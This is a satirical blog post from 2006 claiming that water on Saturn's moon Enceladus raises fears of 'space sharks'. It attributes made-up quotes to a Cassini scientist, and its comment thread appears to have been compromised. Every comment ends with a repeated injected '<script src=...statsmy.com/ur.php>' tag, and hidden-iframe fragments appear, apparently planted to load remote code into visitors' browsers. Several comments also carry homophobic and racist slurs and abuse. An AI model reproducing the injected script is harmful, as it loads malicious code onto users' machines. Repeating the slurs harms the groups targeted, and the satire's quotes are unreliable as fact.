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Water Found on Saturn's Moon Raises Fear of Space Sharks
by Kris on 3/10/2006 (28)

You don't want to meet this guy the next time you're in space.
The Cassini space probe has recently returned high definition pictures of Saturn’s moon Enceladus that indicate there are pools of liquid water under the moon’s surface, scientists announced on Thursday.

As expected, the news of water on a celestial object other than our own has raised grave concern about the possibility of space sharks.

“Holy crap, the space sharks will kill us all,” said local scaredy cat Sean Smith.

Space sharks are much like normal sharks, except they are from space. They are born in water like normal sharks but are capable of swimming through the air in low gravity environments like a moon’s surface or space. They have razor sharp teeth and jaws strong enough to bite through a Ford Pinto.

Water might be an indication that space shark life could exist on Enceladus. But Linda Spilker, Cassini Deputy Project Scientist, was not ready to suggest the threat of space sharks is real.

"That's a very tough question to answer, but certainly something that we'll be thinking about now that there appears to be a liquid water source on Enceladus," she said.

Most likely the space sharks were trapped under the surface of the moon by an ancient and mysterious race who knew the untold chaos that the space sharks would cause should they be allowed to roam free. The findings were published in this week's issue of "Space Shark Fancy."

"Thinking ahead, this might mean that some day we might want to plant a nuclear explosive near a crack on Enceladus or firebomb the entire moon," she said. “Should the space sharks ever escape their prison moon alive, there is no telling what sort of havoc they could cause to our delicate space program. No man would ever dare step foot in space with the threat of space sharks, that would be an instant death sentence.”

Cassini, which was funded by NASA and the European and Italian space agencies, launched in 1997 and took seven years to make the 934 million-mile (1.5 billion-kilometer) trip to Saturn. Its primary goal has always been to determine whether or not space sharks are a plausible threat to mankind.i0"<


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Comments

1. by Motz on 3/1/2007 4:52:29 PM
Can't beat this Google news gig. I've been milking the Goo cow myself, as you've noticed. I gotta get the omelet listed oer there. Works evry time!h="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Kris on 3/1/2007 4:52:29 PM
I hear Yahoo has a similar setup... we've just got to figure out how to get on there too... </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Space Shark Expert on 3/1/2007 4:52:29 PM
Space sharks belong to the subclass Elasmobranchii, Order Milkywayiformes, Family Enceladusidae, and the Genus Biteyourmoonbootis. The species living on Saturns moon is most probably Galeobiteyourmoonbootis cuvier (Subspecies cassinii), or perhaps an undescribed toothy species. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by BS on 3/1/2007 4:52:29 PM
there are no such things as space sharks this is BS yall are retarted gay ass mofos..... and thats the way the cookie crumbles.i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Kris on 3/1/2007 4:52:29 PM
Apparently you haven't seen Jaws 5: Terror in Space. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by about "BS" on 3/1/2007 4:52:29 PM
he is just mad because he more than likely thought it was real and pissed himself about it. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
7. by ??? on 3/1/2007 4:52:29 PM
WTF??? Impossible. Water in space is frozen, and besides, sharks only live in water.ne </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
8. by on 3/1/2007 4:52:29 PM
But what if the space sharks are the only things that stand between our world and an alien invasion?? </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
9. by on 3/1/2007 4:52:29 PM
.... this reminds me of an old space show on nickolodeon.?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
10. by guerndt on 3/1/2007 4:52:29 PM
"an thats the way the cookie crumbles" BS, Did you manage to think of that one all by yourself? or are you a late in the movie-quotes that were heightened when it was at its peak. Space sharks dont exsist..well gee Einstien what gave you that idea? Here's 3 easy steps to not be an idiot Step 1: Bend over, spreading legs about 8-steps apart Step 2: Extend both arms under torso, between the legs and grab your neck Step 3: With a good grib on your neck, Pull! Untill you hear your ears popping from your head being yanked outta your asshole. Following these 3 steps, and you to will be..well..not a complete idiot.t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
11. by camille milliner on 3/1/2007 4:52:29 PM
I remeber it like on a movie ."0" s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
12. by Roy Scheider on 3/1/2007 4:52:29 PM
Just when You thought it was safe to go in space. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
13. by The Service on 3/1/2007 4:52:29 PM
Dear BS, Do your initials stand for "born stupid" or possibly "barely stable"? Of course we all know that "land sharks" exist, since we saw real ones on Saturday Night Live! So why not space sharks? Think outside the box, dude! Or in your case, "outside the asylum"! TheService. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
14. by Tashizzle on 3/1/2007 4:52:29 PM
wtf mangone">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
15. by The Great Hippo on 3/1/2007 4:52:29 PM
Space sharks have only one weakness: http://i7.photobucket.com/albums/y295/The_Great_Hippo/Warcraft/3849106b60ef089f7d6ce9e20928dbd4.jpg"0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
16. by MrCrisp on 3/1/2007 4:52:29 PM
I cannot actually believe that Mr BS up there is being serious...wtf. It is Sunday....I drank waaay too much Jack Daniels last night, and you have people like mr BS up there taking articles like this seriously? Somebody needs to get out a bit more...really they do cuz, as much as im bored as hell sat here on a sunday avoiding sunday TV and waiting for the hour hand to strike around 10ish so i dont look lazy going to bed so early, jeez somebody get this guy something to grow a new brain in, in fact Mr BS, you can have mine, it is riddled with the sunday jack daniels nasties, kicking me on the inside, oh my god i remember why i stopped drinking this is ridiculous, what am i doing here, help me.....there is a space shark tapping at my door and he has michael jacksons hand in his mouth, i wonder what else is in there, hold on, there is part of a child in michael jacksons hand inside the space sharks mouth, they are coming to save us, space sharks are a blessing to this earth, SAVE THE SPACE SHARKSgo. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
17. by mrcrisp on 3/1/2007 4:52:29 PM
http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=16002734nemo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
18. by ali on 3/1/2007 4:52:29 PM
im just asking is this real??? there are space sharks????sid </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
19. by Kris on 3/1/2007 4:52:29 PM
Yes, it's real. And you should be scared.h="0" h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
20. by james on 3/1/2007 4:52:29 PM
wtf who ever herd of a fing space shark.no no no i think wut happend was some drunk ass looked into his telescop and pointed it in the water and saw a shark.or some fag was on a big dose of crack.wow thats the most gay thing ive ever herd.i cant beleive these comments i just read and found out how stupid or drunk some people can git.dont beleive this bs.sum guys is tryin to scare the hell out of u.i kinda makes me giggleone"></ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
21. by james on 3/1/2007 4:52:29 PM
hi this is the same james form b4 im baq to say some more.WTF WERE U THINKING WEN U ACTUALLY THOUGHT U SAW A SHARK IN SPACE.OMFG UR AS SAD AS FREAKIN MJ.U DURNK BASTURD.GOD SOME PEEPS R AS STUPID AS THE SPED WHO SITS NEXT TO ME IN SCIENCE CLASS.WUT THE HELL EVEN THE PIC ON THE PAGE U CAN TELL ITS JUST COPYED AND PASTED ON THERE.FREKIN HOMO.THEN U WOULD HAVE THE COMMON SENSE TO PUT A FREAKIN COMMENT PAGE ONIT.WOW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.SOMETIMES I HATE THE WORLD I LIVE IN.SORRY IF IM BEIN HARSH BUT THIS IS THE GAYIS SHIT IVE SEEN IN MY LIFE AND THERE IS ALOT OF PEOPLE WHO CAN AGREE W/ ME.SOMEONE SHOULD PISS ALL OVER THE DRUNK ASS WHO PUT THIS ON HERE.BUT IF THERE IS A REAL "SPACE SHARK"OUT THERE I HOPE WHO EVER BELIEVES THIS SHIT SHOULD GIT KILLED 1ST BY THE SHARK!!!!!!!!!!!!!!!!!!!!!!!!!!!n.ru </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
22. by COURTNEY on 3/1/2007 4:52:29 PM
OMG WERE ALL GUNNA DIE HELP. I HOPE THE GOVERNMENT WILL DO SUMTING BOUT ITn </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
23. by james on 3/1/2007 4:52:29 PM
hey courtney lady if ur still here no there not gunna do sumtin bout.wanna no y? cuz the fucking things dont existisplay:none">< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
24. by Kris on 3/1/2007 4:52:29 PM
That sounds like the kind of thing a pro-space shark supporter would say.n. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
25. by james on 3/1/2007 4:52:29 PM
hi im baq again.hahaha screw this crap i hate these gay ass mofos who cum up w/ this shit.u need to die like ur mom did while i was pissing all over her face.space sharks r bull shit u all need to die like ive said many times b4.and another thing u poeple r stupid because u beleive this drunk ass shit.ur all gay just like my last bf.jk bout that part but ur still gay.and this fag next to me is dummer than dummer and dumb ass and he still dont beleive this gay ass mofo shit.?s </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
26. by james on 3/1/2007 4:52:29 PM
im more worried about the kkk coming baq than worring about a freakin homo guy who has the gay idea fora freaking shar in space.and guess wut.IMMMMMMMM WHITE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! MUTHER FUCKERS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
27. by james on 3/1/2007 4:52:29 PM
im doneisplay:none"></i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
28. by Astral Biologist on 3/1/2007 4:52:29 PM
Space sharks are real. I saw one here on earth once while I was flying in a plane. It swam right past the window. Well I think I was flying in a plane!! Well what ever, I know I was flying!!! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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